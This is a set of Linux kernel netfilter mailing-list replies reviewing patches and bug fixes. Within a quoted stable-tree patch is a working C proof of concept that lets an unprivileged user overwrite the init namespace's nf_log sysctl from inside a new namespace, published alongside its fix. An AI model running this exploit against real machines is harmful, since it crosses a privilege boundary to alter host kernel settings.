Re: [PATCH] net, netfilter: refcounter conversions
On Thu, Mar 16, 2017 at 10:03:34AM +0200, Elena Reshetova wrote: > refcount_t type and corresponding API (see include/linux/refcount.h) > should be used instead of atomic_t when the variable is used as > a reference counter. This allows to avoid accidental > refcounter overflows that might lead to use-after-free > situations. Applied, thanks.
Re: [PATCH net] bridge: ebtables: fix reception of frames DNAT-ed to bridge device
On Wed, Mar 15, 2017 at 10:16:19PM +0100, Linus Lüssing wrote: > On Wed, Mar 15, 2017 at 07:15:39PM +0100, Pablo Neira Ayuso wrote: > > Could you update ebtables dnat to check if the ethernet address > > matches the one of the input bridge interface, so we mangle the > > ->pkt_type accordingly from there, instead of doing this from the > > core? > > Actually, that was the approach I thought about and went for first > (and it would probably work for me). Just checking against the > bridge device's net_device::dev_addr. > > I scratched it though, as I was afraid that the issue might still > exist for people using some other upper device on top of the bridge > device. For instance, macvlan? And iterating over the > net_device::dev_addrs list seemed too costly for fast path to me. I was more thinking of following the simple approach that we follow in ebt_redirect_tg() by taking the input interface. Anyway, I'm ok with this.
Re: [PATCH net] bridge: ebtables: fix reception of frames DNAT-ed to bridge device
On Wed, Mar 15, 2017 at 03:27:20PM +0100, Linus Lüssing wrote: > On Wed, Mar 15, 2017 at 11:42:11AM +0100, Pablo Neira Ayuso wrote: > > I'm missing then why redirect is not then just enough for Linus usecase. > > For my usecase, the MAC address is configured by the user from a > Web-UI. It may or may not be the one from the bridge device. > > Besides, found it counter intuitive that DNAT did not work here > and took me some time to find out why. At least I didn't read about > any such known limitations of the dnat target in the ebtables > manpage. Could you update ebtables dnat to check if the ethernet address matches the one of the input bridge interface, so we mangle the ->pkt_type accordingly from there, instead of doing this from the core?
Re: [PATCH 0/7] net, netfilter refcounter conversions
On Wed, Mar 15, 2017 at 01:10:38PM +0200, Elena Reshetova wrote: > This series, for the netfilter subsystem, replaces atomic_t reference > counters with the new refcount_t type and API (see include/linux/refcount.h). > By doing this we prevent intentional or accidental > underflows or overflows that can led to use-after-free vulnerabilities. > > Please take the series to your tree if there are no run-time issues. Could you collapse all of your patches into one single? They are all part of the same logical change to me. > 21 files changed, 85 insertions(+), 75 deletions(-) The diffstat is small enough to do what I'm asking. Thanks!
Re: [PATCH net] bridge: ebtables: fix reception of frames DNAT-ed to bridge device
On Wed, Mar 15, 2017 at 11:26:08AM +0100, Florian Westphal wrote: > Linus Lüssing wrote: > > When trying to redirect bridged frames to the bridge device itself > > via the ebtables nat-prerouting chain and the dnat target then this > > currently fails: > > > > The ethernet destination of the frame is dnat'ed to the MAC address of > > the bridge itself just fine and the correctly altered frame can even > > be captured via a tcpdump on br0 (with or without promisc mode). > > > > However, the IP code drops it in the beginning of ip_input.c/ip_rcv() > > as the dnat target did not update the skb->pkt_type. > > Right, thats the reason why ebtables also has ebt_redirect target > which does this pkt_type fixup. I'm missing then why redirect is not then just enough for Linus usecase.
Re: [PATCH net] bridge: ebtables: fix reception of frames DNAT-ed to bridge device
On Wed, Mar 15, 2017 at 04:18:11AM +0100, Linus Lüssing wrote:
> When trying to redirect bridged frames to the bridge device itself
> via the ebtables nat-prerouting chain and the dnat target then this
> currently fails:
>
> The ethernet destination of the frame is dnat'ed to the MAC address of
> the bridge itself just fine and the correctly altered frame can even
> be captured via a tcpdump on br0 (with or without promisc mode).
>
> However, the IP code drops it in the beginning of ip_input.c/ip_rcv()
> as the dnat target did not update the skb->pkt_type. If after
> dnat'ing the packet is now destined to us then the skb->pkt_type
> needs to be updated from PACKET_OTHERHOST to PACKET_HOST, too.
>
> Signed-off-by: Linus Lüssing
> ---
> net/bridge/br_input.c | 6 +-
> 1 file changed, 5 insertions(+), 1 deletion(-)
>
> diff --git a/net/bridge/br_input.c b/net/bridge/br_input.c
> index 013f2290b..ec83175 100644
> --- a/net/bridge/br_input.c
> +++ b/net/bridge/br_input.c
> @@ -198,8 +198,12 @@ int br_handle_frame_finish(struct net *net, struct sock
> *sk, struct sk_buff *skb
> if (dst) {
> unsigned long now = jiffies;
>
> - if (dst->is_local)
> + if (dst->is_local) {
> + /* fix up potential DNAT mess */
> + skb->pkt_type = PACKET_HOST;
I would like to find a way to fix this from ebtables itself, so we
don't need to add this code to the bridge core path. AFAICS, from
prerouting we don't know the dst yet, so we cannot know if this packet
is local from there.
Re: [PATCH] netfilter: Force fake conntrack entry to be at least 8 bytes aligned
On Sat, Mar 11, 2017 at 10:12:22AM +0100, Florian Westphal wrote: > Steven Rostedt (VMware) wrote: > > Since the nfct and nfctinfo have been combined, the nf_conn structure > > must be at least 8 bytes aligned, as the 3 LSB bits are used for the > > nfctinfo. But there's a fake nf_conn structure to denote untracked > > connections, which is created by a PER_CPU construct. This does not > > guarantee that it will be 8 bytes aligned and can break the logic in > > determining the correct nfctinfo. > > > > I triggered this on a 32bit machine with the following error: > [..] > > Ugh. Originally I had planned to also submit followup changes > to get rid of the untracked objects but that part got delayed. > > > By using DEFINE/DECLARE_PER_CPU_ALIGNED we can enforce at least 8 byte > > alignment as all cache line sizes are at least 8 bytes or more. > > Thanks for fixing this! > > Acked-by: Florian Westphal Applied, thanks.
Re: [PATCH] netfilter: Use pr_cont where appropriate
On Tue, Feb 28, 2017 at 02:09:24PM -0800, Joe Perches wrote: > Logging output was changed when simple printks without KERN_CONT > are now emitted on a new line and KERN_CONT is required to continue > lines so use pr_cont. > > Miscellanea: > > o realign arguments > o use print_hex_dump instead of a local variant Applied, thanks Joe.
Re: [PATCH] netfilter: remove redundant check on ret being non-zero
On Tue, Feb 28, 2017 at 11:31:15AM +, Colin King wrote:
> From: Colin Ian King
>
> ret is initialized to zero and if it is set to non-zero in the
> xt_entry_foreach loop then we exit via the out_free label. Hence
> the check for ret being non-zero is redundant and can be removed.
>
> Detected by CoverityScan, CID#1357132 ("Logically Dead Code")
Applied, thanks.
Re: [PATCH] netfilter: nf_conntrack_sip: fix wrong memory initialisation
On Wed, Mar 01, 2017 at 03:33:26PM +0100, Christophe Leroy wrote:
> In commit 82de0be6862cd ("netfilter: Add helper array
> register/unregister functions"),
> struct nf_conntrack_helper sip[MAX_PORTS][4] was changed to
> sip[MAX_PORTS * 4], so the memory init should have been changed to
> memset(&sip[4 * i], 0, 4 * sizeof(sip[i]));
>
> But as the sip[] table is allocated in the BSS, it is already set to 0
Applied, thanks.
Re: [PATCH] uapi: fix linux/netfilter/xt_hashlimit.h userspace compilation error
On Fri, Feb 24, 2017 at 03:23:20AM +0300, Dmitry V. Levin wrote: > Include like some of uapi/linux/netfilter/xt_*.h > headers do to fix the following linux/netfilter/xt_hashlimit.h > userspace compilation error: > > /usr/include/linux/netfilter/xt_hashlimit.h:90:12: error: 'NAME_MAX' > undeclared here (not in a function) > char name[NAME_MAX]; Applied, thanks.
Re: [PATCH] uapi: stop including linux/sysctl.h in uapi/linux/netfilter.h
On Thu, Feb 23, 2017 at 05:49:28AM +0300, Dmitry V. Levin wrote: > linux/netfilter.h is the last uapi header file that includes > linux/sysctl.h but it does not depend on definitions provided > by this essentially dead header file. Applied, thanks.
Re: netfilter: nft_ct: add zone id set support
On Thu, Feb 23, 2017 at 12:34:35PM +0100, Florian Westphal wrote: > Geert Uytterhoeven wrote: > > On Wed, Feb 22, 2017 at 8:02 PM, Linux Kernel Mailing List > > wrote: > > > Web: > > > https://git.kernel.org/torvalds/c/edee4f1e92458299505ff007733f676b00c516a1 > > > Commit: edee4f1e92458299505ff007733f676b00c516a1 > > > Parent: 5c178d81b69f08ca3195427a6ea9a46d9af23127 > > > Refname:refs/heads/master > > > Author: Florian Westphal > > > AuthorDate: Fri Feb 3 13:35:50 2017 +0100 > > > Committer: Pablo Neira Ayuso > > > CommitDate: Wed Feb 8 14:16:23 2017 +0100 > > > > > Unlike for the other cases of the switch statement, "len" is not initialized > > here... > > > > > + break; > > > priv->sreg = nft_parse_register(tb[NFTA_CT_SREG]); > > > err = nft_validate_register_load(priv->sreg, len); > > > > ... and used here, which may lead to spurious failures of > > nft_validate_register_load(). > > Yes, Dan reported this and a patch is queued at > http://patchwork.ozlabs.org/patch/727573/ > > Pablo, any reason why this is still waiting? I just flushing out my nf.git tree via pull request. Once these changes are pulled, I'll fetch recent net-next changes that were just merged via net. Then, I'll pick this so we can calm down these compilation warnings. Are you OK with this procedure? Thanks!
Re: [PATCH v2] netfilter: xt_hashlimit: Fix integer divide round to zero.
On Mon, Feb 06, 2017 at 11:50:33PM +0100, Alban Browaeys wrote: > Diving the divider by the multiplier before applying to the input. > When this would "divide by zero", divide the multiplier by the divider > first then multiply the input by this value. > > Currently user2creds outputs zero when input value is bigger than the > number of slices and lower than scale. > This as then user input is applied an integer divide operation to > a number greater than itself (scale). > That rounds up to zero, then we mulitply zero by the credits slice size. > iptables -t filter -I INPUT --protocol tcp --match hashlimit > --hashlimit 40/second --hashlimit-burst 20 --hashlimit-mode srcip > --hashlimit-name syn-flood --jump RETURN > thus trigger the overflow detection code: > xt_hashlimit: overflow, try lower: 25000/20 > (25000 as hashlimit avd and 20 the burst) > Here: > 134217 slices of (HZ * CREDITS_PER_JIFFY) size. > 50 is user input value > 100 is XT_HASHLIMIT_SCALE_v2 > gives: 0 as user2creds output > Setting burst to "1" typically solve the issue ... > but setting it to "40" does too ! > > This is on 32bit arch calling into revision 2 of hashlimit. Applied to nf.git, thanks.
Re: [PATCH] netfilter: xt_hashlimit: Fix integer divide round to zero.
On Sat, Feb 04, 2017 at 11:47:31PM +0100, Alban Browaeys wrote:
> Diving the divider by the multiplier before applying to the input.
> When this would "divide by zero", divide the multiplier by the divider
> first then multiply the input by this value.
>
> Currently user2creds outputs zero when input value is bigger than the
> number of slices and lower than scale.
> This as then user input is applied an integer divide operation to
> a number greater than itself (scale).
> That rounds up to zero, then we mulitply zero by the credits slice size.
> iptables -t filter -I INPUT --protocol tcp --match hashlimit
> --hashlimit 40/second --hashlimit-burst 20 --hashlimit-mode srcip
> --hashlimit-name syn-flood --jump RETURN
> thus trigger the overflow detection code:
> xt_hashlimit: overflow, try lower: 25000/20
> (25000 as hashlimit avd and 20 the burst)
> Here:
> 134217 slices of (HZ * CREDITS_PER_JIFFY) size.
> 50 is user input value
> 100 is XT_HASHLIMIT_SCALE_v2
> gives: 0 as user2creds output
> Setting burst to "1" typically solve the issue ...
> but setting it to "40" does too !
>
> This is on 32bit arch calling into revision 2 of hashlimit.
>
> Signed-off-by: Alban Browaeys
> ---
> net/netfilter/xt_hashlimit.c | 18 --
> 1 file changed, 8 insertions(+), 10 deletions(-)
>
> diff --git a/net/netfilter/xt_hashlimit.c b/net/netfilter/xt_hashlimit.c
> index 10063408141d..df75ad643eef 100644
> --- a/net/netfilter/xt_hashlimit.c
> +++ b/net/netfilter/xt_hashlimit.c
> @@ -463,21 +463,19 @@ static u32 xt_hashlimit_len_to_chunks(u32 len)
> /* Precision saver. */
> static u64 user2credits(u64 user, int revision)
> {
> + /* Avoid overflow: divide the constant operands first */
> if (revision == 1) {
> - /* If multiplying would overflow... */
> - if (user > 0x / (HZ*CREDITS_PER_JIFFY_v1))
> - /* Divide first. */
> - return div64_u64(user, XT_HASHLIMIT_SCALE)
> - * HZ * CREDITS_PER_JIFFY_v1;
> + return div64_u64(user, div64_u64(XT_HASHLIMIT_SCALE,
> + HZ * CREDITS_PER_JIFFY_v1));
>
> - return div64_u64(user * HZ * CREDITS_PER_JIFFY_v1,
> + return user * div64_u64(HZ * CREDITS_PER_JIFFY_v1,
>XT_HASHLIMIT_SCALE);
I see two return statements here, the one coming later is
shadowed, this can't be right.
Re: [PATCH V2 1/2] netfilter: ctnetlink: Fix regression in CTA_STATUS processing
On Thu, Jan 26, 2017 at 02:49:43PM -0800, Kevin Cernekee wrote: > The libnetfilter_conntrack userland library always sets IPS_CONFIRMED > when building a CTA_STATUS attribute. If this toggles the bit from > 0->1, the parser will return an error. On Linux 4.4+ this will cause any > NFQA_EXP attribute in the packet to be ignored. This breaks conntrackd's > userland helpers because they operate on unconfirmed connections. > > Instead of returning -EBUSY if the user program asks to modify an > unchangeable bit, simply ignore the change. > > Also, fix the logic so that user programs are allowed to clear > the bits that they are allowed to change. Applied, thanks Kevin. I have manually fixed here this compilation warning, btw: net/netfilter/nf_conntrack_netlink.c:1449:1: warning: ‘ctnetlink_update_status’ defined but not used [-Wunused-function] ctnetlink_update_status(struct nf_conn *ct, const struct nlattr * const cda[]) ^
Re: [PATCH V2 2/2] netfilter: ctnetlink: Fix regression in CTA_HELP processing
On Thu, Jan 26, 2017 at 02:49:44PM -0800, Kevin Cernekee wrote: > Prior to Linux 4.4, it was usually harmless to send a CTA_HELP attribute > containing the name of the current helper. That is no longer the case: > as of Linux 4.4, if ctnetlink_change_helper() returns an error from > the ct->master check, processing of the request will fail, skipping the > NFQA_EXP attribute (if present). > > This patch changes the behavior to improve compatibility with user > programs that expect the kernel interface to work the way it did prior > to Linux 4.4. If a user program specifies CTA_HELP but the argument > matches the current conntrack helper name, ignore it instead of generating > an error. Also applied, thanks Kevin.
Re: [PATCH v3] netfilter: nf_ct_helper: warn when not applying default helper assignment
On Wed, Feb 01, 2017 at 09:01:54PM +0100, Jiri Kosina wrote:
> From: Jiri Kosina
>
> Commit 3bb398d925 ("netfilter: nf_ct_helper: disable automatic helper
> assignment") is causing behavior regressions in firewalls, as traffic
> handled by conntrack helpers is now by default not passed through even
> though it was before due to missing CT targets (which were not necessary
> before this commit).
>
> The default had to be switched off due to security reasons [1] [2] and
> therefore should stay the way it is, but let's be friendly to firewall
> admins and issue a warning the first time we're in situation where packet
> would be likely passed through with the old default but we're likely going
> to drop it on the floor now.
>
> Rewrite the code a little bit as suggested by Linus, so that we avoid
> spaghettiing the code even more -- namely the whole decision making
> process regarding helper selection (either automatic or not) is being
> separated, so that the whole logic can be simplified and code (condition)
> duplication reduced.
>
> [1] https://cansecwest.com/csw12/conntrack-attack.pdf
> [2] https://home.regit.org/netfilter-en/secure-use-of-helpers/
Applied, thanks.
Re: [PATCH nf-next v2] netfilter: allow logging from non-init namespaces
On Tue, Jan 31, 2017 at 10:30:06AM +0100, Michal Kubecek wrote:
> Commit 69b34fb996b2 ("netfilter: xt_LOG: add net namespace support for
> xt_LOG") disabled logging packets using the LOG target from non-init
> namespaces. The motivation was to prevent containers from flooding
> kernel log of the host. The plan was to keep it that way until syslog
> namespace implementation allows containers to log in a safe way.
>
> However, the work on syslog namespace seems to have hit a dead end
> somewhere in 2013 and there are users who want to use xt_LOG in all
> network namespaces. This patch allows to do so by setting
>
> /proc/sys/net/netfilter/nf_log_all_netns
>
> to a nonzero value. This sysctl is only accessible from init_net so that
> one cannot switch the behaviour from inside a container.
Applied, thanks Michal!
Re: [PATCH v2] netfilter: nf_ct_helper: warn when not applying default helper assignment
On Wed, Jan 25, 2017 at 09:43:14PM +0100, Jiri Kosina wrote:
> From: Jiri Kosina
> Subject: [PATCH] netfilter: nf_ct_helper: warn when not applying default
> helper assignment
>
> Commit 3bb398d925 ("netfilter: nf_ct_helper: disable automatic helper
> assignment") is causing behavior regressions in firewalls, as traffic
> handled by conntrack helpers is now by default not passed through even
> though it was before due to missing CT targets (which were not necessary
> before this commit).
>
> The default had to be switched off due to security reasons [1] [2] and
> therefore should stay the way it is, but let's be friendly to firewall
> admins and issue a warning the first time we're in situation where packet
> would be likely passed through with the old default but we're likely going
> to drop it on the floor now.
Links to [1] [2] are now gone in the patch description.
> Rewrite the code a little bit as suggested by Linus, so that we avoid
> spaghettiing the code even more -- namely the whole decision making
> process regarding helper selection (either automatic or not) is being
> separated, so that the whole logic can be simplified and code (condition)
> duplication reduced.
>
> Signed-off-by: Jiri Kosina
> ---
> net/netfilter/nf_conntrack_helper.c | 58
> +++--
> 1 file changed, 42 insertions(+), 16 deletions(-)
>
> diff --git a/net/netfilter/nf_conntrack_helper.c
> b/net/netfilter/nf_conntrack_helper.c
> index 7341adf..c93a331 100644
> --- a/net/netfilter/nf_conntrack_helper.c
> +++ b/net/netfilter/nf_conntrack_helper.c
> @@ -188,6 +188,39 @@ struct nf_conn_help *
> }
> EXPORT_SYMBOL_GPL(nf_ct_helper_ext_add);
>
> +static struct nf_conntrack_helper *find_auto_helper(struct nf_conn *ct)
> +{
> + return __nf_ct_helper_find(&ct->tuplehash[IP_CT_DIR_REPLY].tuple);
> +}
> +
> +static struct nf_conntrack_helper *ct_lookup_helper(struct nf_conn *ct,
> struct net *net)
Please use the prefixes that we already have in place:
nf_ct_lookup_helper() probably?
> +{
> + struct nf_conntrack_helper *ret;
> +
> + if (!net->ct.sysctl_auto_assign_helper) {
> + if (net->ct.auto_assign_helper_warned)
> + return NULL;
> + if (!find_auto_helper(ct))
This fits in one line, so I think no need for find_auto_helper(), look:
if (!__nf_ct_helper_find(&ct->tuplehash[IP_CT_DIR_REPLY].tuple))
> + return NULL;
> + pr_info("nf_conntrack: default automatic helper assignment "
> + "has been turned off for security reasons and CT-based "
> + " firewall rule not found. Use the iptables CT target "
> + "to attach helpers instead.\n");
> + net->ct.auto_assign_helper_warned = 1;
> + return NULL;
> + }
> +
> + ret = find_auto_helper(ct);
> + if (!ret || net->ct.auto_assign_helper_warned)
> + return ret;
> + pr_info("nf_conntrack: automatic helper assignment is deprecated and it
> will "
> + "be removed soon. Use the iptables CT target to attach helpers "
> + " instead.\n");
You can probably remove this older message now if you prefer the new
one you wrote, actually it's a bit redundant IMO.
> + net->ct.auto_assign_helper_warned = 1;
> + return ret;
> +}
> +
> +
> int __nf_ct_try_assign_helper(struct nf_conn *ct, struct nf_conn *tmpl,
> gfp_t flags)
> {
> @@ -213,26 +246,19 @@ int __nf_ct_try_assign_helper(struct nf_conn *ct,
> struct nf_conn *tmpl,
> }
>
> help = nfct_help(ct);
> - if (net->ct.sysctl_auto_assign_helper && helper == NULL) {
> - helper =
> __nf_ct_helper_find(&ct->tuplehash[IP_CT_DIR_REPLY].tuple);
> - if (unlikely(!net->ct.auto_assign_helper_warned && helper)) {
> - pr_info("nf_conntrack: automatic helper "
> - "assignment is deprecated and it will "
> - "be removed soon. Use the iptables CT target "
> - "to attach helpers instead.\n");
> - net->ct.auto_assign_helper_warned = true;
> - }
> - }
>
> - if (helper == NULL) {
> - if (help)
> - RCU_INIT_POINTER(help->helper, NULL);
> - return 0;
> + if (!helper) {
> + helper = ct_lookup_helper(ct, net);
> + if (!helper) {
> + if (help)
> + RCU_INIT_POINTER(help->helper, NULL);
> + return 0;
> + }
> }
>
> - if (help == NULL) {
> + if (!help) {
I don't think these cleanups belong this patch. If you aim to net
tree, then please let's keep this smaller.
I know general coding style prefer different notation, but we have
quite many spots in netfilter that are using this style already.
Thank you.
Re: [RFC/PATCH 0/3] Fix ctnetlink regressions
On Mon, Jan 16, 2017 at 09:14:05PM -0800, Kevin Cernekee wrote: > These patches address a problem I am seeing on Linux 4.4. They do not > apply as-is to the master branch. But I wanted to run them past the list > first to gather feedback on whether this is a reasonable approach. 1/3 and 3/3 look fine. Regarding 2/3, I'd suggest a new ctnetlink_update_status() and you use it from ctnetlink_glue_parse_ct(). This new function allows us to set status bits leaving what is already set intact, as you proposed. So we leave ctnetlink_change_status() in place, but not being called from the userspace helper path. Thanks for fixing up this mess Kevin.
Re: [RFC PATCH 0/2] restore original default of nf_conntrack_helper sysctl
On Mon, Jan 23, 2017 at 05:09:55PM -0800, Linus Torvalds wrote: > On Mon, Jan 23, 2017 at 4:06 PM, Jiri Kosina wrote: > > > > Considering this being really close to the "userspace breakage" > > borderline, I'm CCing Linus as well. > > For all I know, there may be some security reason why we really don't > want the automatic helpers, even if they can be convenient. Yes, with helper modules in place, this is known to allow attackers to push holes in your firewall. Eric Leblond actually show that it's perfectly feasible to exploit this via handcrafted packets [1]. The problem is documented here [2]. > Also, you can just enable them with a kernel command line or a sysctl, > so it's not like you can't get the old behavior back. Right. [1] https://cansecwest.com/csw12/conntrack-attack.pdf [2] https://home.regit.org/netfilter-en/secure-use-of-helpers/
Re: [PATCH] netfilter: ipt_CLUSTERIP: fix build error without procfs
On Fri, Jan 13, 2017 at 04:41:03PM +0100, Arnd Bergmann wrote:
> We can't access c->pde if CONFIG_PROC_FS is disabled:
>
> net/ipv4/netfilter/ipt_CLUSTERIP.c: In function 'clusterip_config_find_get':
> net/ipv4/netfilter/ipt_CLUSTERIP.c:147:9: error: 'struct clusterip_config'
> has no member named 'pde'
>
> This moves the check inside of another #ifdef.
>
> Fixes: 6c5d5cfbe3c5 ("netfilter: ipt_CLUSTERIP: check duplicate config when
> initializing")
> Signed-off-by: Arnd Bergmann
Applied, thanks Arnd.
Re: [PATCH] netfilter: Fix typo in NF_CONNTRACK Kconfig option description
On Mon, Jan 09, 2017 at 05:24:18PM -0500, William Breathitt Gray wrote: > The NF_CONNTRACK Kconfig option description makes an incorrect reference > to the "meta" expression where the "ct" expression would be correct.This > patch fixes the respective typographical error. Applied, thanks.
Re: [PATCH] netfilter: xt_connlimit: use rb_entry()
On Tue, Dec 20, 2016 at 10:02:13PM +0800, Geliang Tang wrote: > To make the code clearer, use rb_entry() instead of container_of() to > deal with rbtree. Applied this one to nf-next, thanks.
Re: [PATCH] ARM: add cmpxchg64 helper for ARMv7-M
Hi Arnd, On Sat, Dec 10, 2016 at 11:36:34AM +0100, Arnd Bergmann wrote: > A change to the netfilter code in net-next introduced the first caller of > cmpxchg64 that can get built on ARMv7-M, leading to an error from the > assembler that points out the lack of 64-bit atomics on this architecture: > > /tmp/ccMe7djj.s: Assembler messages: > /tmp/ccMe7djj.s:367: Error: selected processor does not support `ldrexd > r0,r1,[lr]' in Thumb mode > /tmp/ccMe7djj.s:371: Error: selected processor does not support `strexd > ip,r2,r3,[lr]' in Thumb mode > /tmp/ccMe7djj.s:389: Error: selected processor does not support `ldrexd > r8,r9,[r7]' in Thumb mode > /tmp/ccMe7djj.s:393: Error: selected processor does not support `strexd > lr,r0,r1,[r7]' in Thumb mode > scripts/Makefile.build:299: recipe for target 'net/netfilter/nft_counter.o' > failed > > This makes ARMv7-M use the same emulation from asm-generic/cmpxchg-local.h > that we use on architectures earlier than ARMv6K, to fix the build. The > 32-bit atomics are available on ARMv7-M and we keep using them there. > This ARM specific change is probably something we should do regardless > of the netfilter code. > > However, looking at the new nft_counter_reset() function in nft_counter.c, > this looks incorrect to me not just on ARMv7-M but also on other > architectures, with at least the following possible race: Right, Eric Dumazet already spotted this problem. I'm preparing a patch that doesn't require cmpxchg64(). Will keep you on Cc. Thanks.
Re: [PATCH v2] netfilter: avoid warn and OOM killer on vmalloc call
On Fri, Dec 02, 2016 at 07:46:38AM -0200, Marcelo Ricardo Leitner wrote:
> Andrey Konovalov reported that this vmalloc call is based on an
> userspace request and that it's spewing traces, which may flood the logs
> and cause DoS if abused.
>
> Florian Westphal also mentioned that this call should not trigger OOM
> killer.
>
> This patch brings the vmalloc call in sync to kmalloc and disables the
> warn trace on allocation failure and also disable OOM killer invocation.
>
> Note, however, that under such stress situation, other places may
> trigger OOM killer invocation.
Unless anyone has an objection, I'm going to place this in nf-next.
Thanks.
> Reported-by: Andrey Konovalov
> Cc: Florian Westphal
> Signed-off-by: Marcelo Ricardo Leitner
> ---
> net/netfilter/x_tables.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c
> index
> fc4977456c30e098197b4f987b758072c9cf60d9..dece525bf83a0098dad607fce665cd0bde228362
> 100644
> --- a/net/netfilter/x_tables.c
> +++ b/net/netfilter/x_tables.c
> @@ -958,7 +958,9 @@ struct xt_table_info *xt_alloc_table_info(unsigned int
> size)
> if (sz <= (PAGE_SIZE << PAGE_ALLOC_COSTLY_ORDER))
> info = kmalloc(sz, GFP_KERNEL | __GFP_NOWARN | __GFP_NORETRY);
> if (!info) {
> - info = vmalloc(sz);
> + info = __vmalloc(sz, GFP_KERNEL | __GFP_NOWARN |
> + __GFP_NORETRY | __GFP_HIGHMEM,
> + PAGE_KERNEL);
> if (!info)
> return NULL;
> }
> --
> 2.9.3
>
Re: [PATCH 4.4 38/38] netfilter: fix namespace handling in nf_log_proc_dostring
Greg,
Thanks a lot for picking up this one!
I have more stable stuff for netfilter, I can prepare a batch for you.
I'll keep it small and only urgent stuff.
Let me know if that's fine with you.
On Thu, Nov 17, 2016 at 11:33:16AM +0100, Greg Kroah-Hartman wrote:
> 4.4-stable review patch. If anyone has any objections, please let me know.
>
> --
>
> From: Jann Horn
>
> commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
>
> nf_log_proc_dostring() used current's network namespace instead of the one
> corresponding to the sysctl file the write was performed on. Because the
> permission check happens at open time and the nf_log files in namespaces
> are accessible for the namespace owner, this can be abused by an
> unprivileged user to effectively write to the init namespace's nf_log
> sysctls.
>
> Stash the "struct net *" in extra2 - data and extra1 are already used.
>
> Repro code:
>
> #define _GNU_SOURCE
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> char child_stack[100];
>
> uid_t outer_uid;
> gid_t outer_gid;
> int stolen_fd = -1;
>
> void writefile(char *path, char *buf) {
> int fd = open(path, O_WRONLY);
> if (fd == -1)
> err(1, "unable to open thing");
> if (write(fd, buf, strlen(buf)) != strlen(buf))
> err(1, "unable to write thing");
> close(fd);
> }
>
> int child_fn(void *p_) {
> if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
> NULL))
> err(1, "mount");
>
> /* Yes, we need to set the maps for the net sysctls to recognize us
> * as namespace root.
> */
> char buf[1000];
> sprintf(buf, "0 %d 1\n", (int)outer_uid);
> writefile("/proc/1/uid_map", buf);
> writefile("/proc/1/setgroups", "deny");
> sprintf(buf, "0 %d 1\n", (int)outer_gid);
> writefile("/proc/1/gid_map", buf);
>
> stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
> if (stolen_fd == -1)
> err(1, "open nf_log");
> return 0;
> }
>
> int main(void) {
> outer_uid = getuid();
> outer_gid = getgid();
>
> int child = clone(child_fn, child_stack + sizeof(child_stack),
> CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
> |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
> if (child == -1)
> err(1, "clone");
> int status;
> if (wait(&status) != child)
> err(1, "wait");
> if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
> errx(1, "child exit status bad");
>
> char *data = "NONE";
> if (write(stolen_fd, data, strlen(data)) != strlen(data))
> err(1, "write");
> return 0;
> }
>
> Repro:
>
> $ gcc -Wall -o attack attack.c -std=gnu99
> $ cat /proc/sys/net/netfilter/nf_log/2
> nf_log_ipv4
> $ ./attack
> $ cat /proc/sys/net/netfilter/nf_log/2
> NONE
>
> Because this looks like an issue with very low severity, I'm sending it to
> the public list directly.
>
> Signed-off-by: Jann Horn
> Signed-off-by: Pablo Neira Ayuso
> Signed-off-by: Greg Kroah-Hartman
>
> ---
> net/netfilter/nf_log.c |6 --
> 1 file changed, 4 insertions(+), 2 deletions(-)
>
> --- a/net/netfilter/nf_log.c
> +++ b/net/netfilter/nf_log.c
> @@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct c
> size_t size = *lenp;
> int r = 0;
> int tindex = (unsigned long)table->extra1;
> - struct net *net = current->nsproxy->net_ns;
> + struct net *net = table->extra2;
>
> if (write) {
> if (size > sizeof(buf))
> @@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str
>3, "%d", i);
> nf_log_sysctl_table[i].procname =
> nf_log_sysctl_fnames[i];
> - nf_log_sysctl_table[i].data = NULL;
> nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
> nf_log_sysctl_table[i].mode = 0644;
> nf_log_sysctl_table[i].proc_handler =
> @@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str
> }
> }
>
> + for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
> + table[i].extra2 = net;
> +
> net->nf.nf_log_dir_header = register_net_sysctl(net,
> "net/netfilter/nf_log",
> table);
>
>
Re: [PATCH] netfilter: x_tables: simplify IS_ERR_OR_NULL to NULL test
On Fri, Nov 11, 2016 at 01:32:38PM +0100, Julia Lawall wrote:
> Since commit 7926dbfa4bc1 ("netfilter: don't use
> mutex_lock_interruptible()"), the function xt_find_table_lock can only
> return NULL on an error. Simplify the call sites and update the
> comment before the function.
Applied, thanks Julia!
Re: linux-next: manual merge of the net-next tree with the netfilter tree
Hi David,
On Thu, Nov 10, 2016 at 10:56:33AM +1100, Stephen Rothwell wrote:
> Hi all,
>
> Today's linux-next merge of the net-next tree got a conflict in:
>
> net/netfilter/ipvs/ip_vs_ctl.c
>
> between commit:
>
> 8fbfef7f505b ("ipvs: use IPVS_CMD_ATTR_MAX for family.maxattr")
>
> from the netfilter tree and commit:
>
> 489111e5c25b ("genetlink: statically initialize families")
>
> from the net-next tree.
>
> I fixed it up (see below) and can carry the fix as necessary. This
> is now fixed as far as linux-next is concerned, but any non trivial
> conflicts should be mentioned to your upstream maintainer when your tree
> is submitted for merging. You may also want to consider cooperating
> with the maintainer of the conflicting tree to minimise any particularly
> complex conflicts.
I think I cannot help to address this conflict myself.
8fbfef7f505b is in my nf tree, while 489111e5c25b is in net-next. So
you will hit this conflict by when you pull net into net-next.
So please keep this patch from Stephen to resolve the conflict in your
radar to solve this.
Or let me know if you come up with any way I can handle this from here
to reduce your burden. Thanks.
> diff --cc net/netfilter/ipvs/ip_vs_ctl.c
> index a6e44ef2ec9a,6b85ded4f91d..
> --- a/net/netfilter/ipvs/ip_vs_ctl.c
> +++ b/net/netfilter/ipvs/ip_vs_ctl.c
> @@@ -3872,10 -3865,20 +3865,20 @@@ static const struct genl_ops ip_vs_genl
> },
> };
>
> + static struct genl_family ip_vs_genl_family __ro_after_init = {
